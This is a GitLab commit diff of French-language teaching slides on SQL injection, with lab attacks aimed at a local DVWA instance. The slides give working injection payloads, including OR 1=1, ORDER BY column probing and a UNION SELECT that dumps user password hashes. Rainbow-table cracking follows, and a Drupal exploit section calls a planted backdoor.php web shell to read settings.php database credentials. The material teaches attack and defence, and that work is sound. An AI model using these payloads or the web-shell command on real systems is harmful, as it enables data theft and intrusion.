Skip to content
Snippets Groups Projects
Commit 9240f3f6 authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

t finish sidoine

parent c9711c8f
No related branches found
No related tags found
No related merge requests found
Pipeline #4059 passed
content/slides/1337/images/sidoine/SQLi-1.png

74.4 KiB | W: | H:

content/slides/1337/images/sidoine/SQLi-1.png

65.5 KiB | W: | H:

content/slides/1337/images/sidoine/SQLi-1.png
content/slides/1337/images/sidoine/SQLi-1.png
content/slides/1337/images/sidoine/SQLi-1.png
content/slides/1337/images/sidoine/SQLi-1.png
  • 2-up
  • Swipe
  • Onion skin
content/slides/1337/images/sidoine/SQLi-2-http.png

81.8 KiB

content/slides/1337/images/sidoine/SQLi-db-clear-question.png

239 KiB

content/slides/1337/images/sidoine/SQLi-db-hash.png

258 KiB | W: | H:

content/slides/1337/images/sidoine/SQLi-db-hash.png

257 KiB | W: | H:

content/slides/1337/images/sidoine/SQLi-db-hash.png
content/slides/1337/images/sidoine/SQLi-db-hash.png
content/slides/1337/images/sidoine/SQLi-db-hash.png
content/slides/1337/images/sidoine/SQLi-db-hash.png
  • 2-up
  • Swipe
  • Onion skin
# Sécurité des applications web
# SQLi
## Aka injections SQL
## Disclaimer
*Cette présentation explique comment marche les failles.
Toutes les attaques sont réalisées sur des VMs en local.
Il est vivement déconseillé de reproduire ces attaques
sur une cible distante, sans la permission explicite
*Cette présentation explique comment fonctionne l'exploiter
des services vulnérables aux injections SQL.*
*Toutes les attaques sont réalisées sur des VMs en local.*
*Il est vivement déconseillé de reproduire ces attaques
sur une cible distante, sans la permission explicite (c'est à dire écrite et signée)
de l'administrateur de cette cible!*
*Selon la cible: **Vous risquez gros**!*
## monsite.com
......@@ -34,7 +41,12 @@ Note:
- différence = utilisateur ou mot de passe invalide
## https
## http = carte postale
![SQLi](images/sidoine/SQLi-2-http.png "SQLi")
## https = enveloppe cachetée
![SQLi](images/sidoine/SQLi-2-https.png "SQLi")
......@@ -43,100 +55,124 @@ Note:
- il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/
## sqli
## ???
![SQLi](images/sidoine/SQLi-db-clear.png "SQLi")
![SQLi](images/sidoine/SQLi-db-clear-question.png "SQLi")
Note:
- Lors du stockage du mot de passe
- Pourquoi?
- Le mot de passe n'est jamais affiché et voilà
## Bonne pratique
### stocker les mots de passe hashés
[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html)
## sqli
![SQLi](images/sidoine/SQLi-db-hash.png "SQLi")
![SQLi](images/sidoine/SQLi-db-clear.png "SQLi")
Note:
- Mot de passe hashé
- Lors du stockage du mot de passe
- Pourquoi?
- Le mot de passe n'est jamais affiché et voilà
## hashage
## SQLi
* <strike>SHA256(passeenclair)
* => 5452409edd9626898129c983ec443748</strike>
* SHA256(passeenclair)
* => 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
* SHA256(admin)
* => 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10)
* depuis plusieurs années
* concerne tous les interpréteurs
* concerne tous les langages
* permet de
* lire des données protégées
* corrompre des données
* dénis de services
* lecture / écriture sur le système de fichiers
* exécution de commandes arbitraires
## Rainbow tables
## SQLi
### [https://crackstation.net/](https://crackstation.net/)
```
http://dv.wa/vulnerabilities/sqli/
```
* Hashs précalculés de valeurs communes
Tout commence par un message d'erreur anodin si on saisit les caractère `'` au lieu de l'entier attendu
* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
* => admin
```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version
for the right syntax to use near ''''' at line 1
```
* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
* => ????
### intéressant!?<!-- .element class="fragment roll-in" -->
## Bonne pratique
```
$id = $_GET['id'];
$getid = "SELECT first_name, last_name
FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(mysql_error());
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
```
le serveur exécute donc la requête
```
SELECT first_name, last_name FROM users WHERE user_id = '''
```
et renvoie une erreur! chaîne de caractère non terminée ...
### Introduire des validations sur la robustesse du mot de passe.
* minuscule + majuscule + caractères spéciaux + numériques
* longueur minimum (passphrase)
## SQLi / détournement
### Ajouter un sel
en suivant la logique
* SHA256(admin+selsupercompliqué)
```
SELECT first_name, last_name
FROM users WHERE user_id = '' OR 1=1
```
devrait afficher la liste de tous les utilisateurs ...
## SQLi
essayons de saisir la valeur `' OR 1=1` au lieu de l'entier attendu
* aka injection SQL
* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) depuis plusieurs années
* que peut on faire avec une SQLi?
* lire des données protégées
* corrompre des données
* dénis de services
* lecture / écriture sur le système de fichiers
* exécution de commandes arbitraires
#### toujours la même erreur!<!-- .element class="fragment roll-in" -->
### Pourquoi?<!-- .element class="fragment roll-in" -->
## SQLi
## SQLi / détournement
la requête exécutée est en fait
```
http://dv.wa/vulnerabilities/sqli/
SELECT first_name, last_name
FROM users WHERE user_id = '' OR 1=1'
```
Tout commence par un message d'erreur anodin
elle présente encore une erreur de chaîne de caractère non terminée!
```
http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
```
### Comment faire?<!-- .element class="fragment roll-in" -->
```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version
for the right syntax to use near ''''' at line 1
```
#### essayons avec le symbole de commentaire en ligne #<!-- .element class="fragment roll-in" -->
### intéressant!?<!-- .element class="fragment roll-in" -->
## SQLi / détournement
on saisit maintenant la valeur `' OR 1=1#` au lieu de l'entier attendu
## Ca marche :D<!-- .element class="fragment roll-in" -->
## SQLi / détournement
Notez qu'on peut travailler directement sur l'url (industrialisation)
```
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
```
......@@ -147,13 +183,12 @@ soit en version encodée
http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
```
### encore mieux<!-- .element class="fragment roll-in" -->
### mais!<!-- .element class="fragment roll-in" -->
#### on affiche toujours pas les mot de passe car on a pas la main sur la clause select<!-- .element class="fragment roll-in" -->
### des idées?<!-- .element class="fragment roll-in" -->
#### peut on atteindre les mots de passe?<!-- .element class="fragment roll-in" -->
#### probablement dans la même table ...<!-- .element class="fragment roll-in" -->
#### mais comment? on a pas la main sur la clause SELECT de la requête ...<!-- .element class="fragment roll-in" -->
## Say hello to UNION
## Say hello to UNION!
```
SELECT column_name(s) FROM table1
......@@ -163,41 +198,73 @@ SELECT column_name(s) FROM table2;
![Union](images/sidoine/sql-union.png "Union")
### Les clauses select doivent avoir le même nombre d'éléments!?<!-- .element class="fragment roll-in" -->
### Les clauses select doivent avoir le même nombre de champs!?<!-- .element class="fragment roll-in" -->
## déduire le nombre de champs
### intuition?
### jouer avec order BY
## comment deviner le nombre de champs d'une requête SQL?
```
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
```
soit une fois les paramètres encodés
## jouer avec order BY
```
http://dv.wa/vulnerabilities/sqli/?id=%27%20OR%201%3D1%20ORDER%20BY%202%23&Submit=Submit
' OR 1=1 ORDER BY 2#
```
* si l'index correspond à un champs de la clause SELECT
* la requête s'exécute
* si l'index ne correspond pas à un champs de la clause SELECT
* la requête échoue
## Affichage des mots de passe
```
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT user, password FROM users#&Submit=Submit
' AND 1=0 UNION SELECT user, password FROM users#
```
soit une fois les paramètres encodés
Les mots de passe sont hashés<!-- .element class="fragment roll-in" -->
```
http://dv.wa/vulnerabilities/sqli/?id=%27%20AND%201%3D0%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit
```
* SHA256(passeenclair) <!-- .element class="fragment roll-in" -->
* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4<!-- .element class="fragment roll-in" -->
* SHA256(admin) <!-- .element class="fragment roll-in" -->
* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918<!-- .element class="fragment roll-in" -->
* MD5(passeenclair) (cassé!)<!-- .element class="fragment roll-in" -->
* 5452409edd9626898129c983ec443748<!-- .element class="fragment roll-in" -->
## sqli
![SQLi](images/sidoine/SQLi-db-hash.png "SQLi")
Note:
- Mot de passe hashé
## Rainbow tables
### [https://crackstation.net/](https://crackstation.net/)
* Hashs précalculés de mots de passe *communs*
* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
* sha256 - admin
* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
* ????
## Bonnes pratiques
* stocker les mots de passe hashés<!-- .element class="fragment roll-in" -->
* <!-- .element class="fragment roll-in" -->[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html)
* valider la robustesse des mot de passe utilisateur<!-- .element class="fragment roll-in" -->
* minuscule + majuscule + spéciaux + numériques<!-- .element class="fragment roll-in" -->
* longueur minimum (passphrase)<!-- .element class="fragment roll-in" -->
* Mot de passe hashé
* [https://crackstation.net/](https://crackstation.net/)
* 5f4dcc3b5aa765d61d8327deb882cf99
* => md5 - password
* ajouter un sel<!-- .element class="fragment roll-in" -->
* SHA256(admin+selsupercompliqué)<!-- .element class="fragment roll-in" -->
## SQLi de la vraie vie (2014)
......@@ -397,7 +464,7 @@ $ php attack/exploit.php 'http://drup.al'
* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
* affiche phpinfo()
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
* affiche les paramètres SQL
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment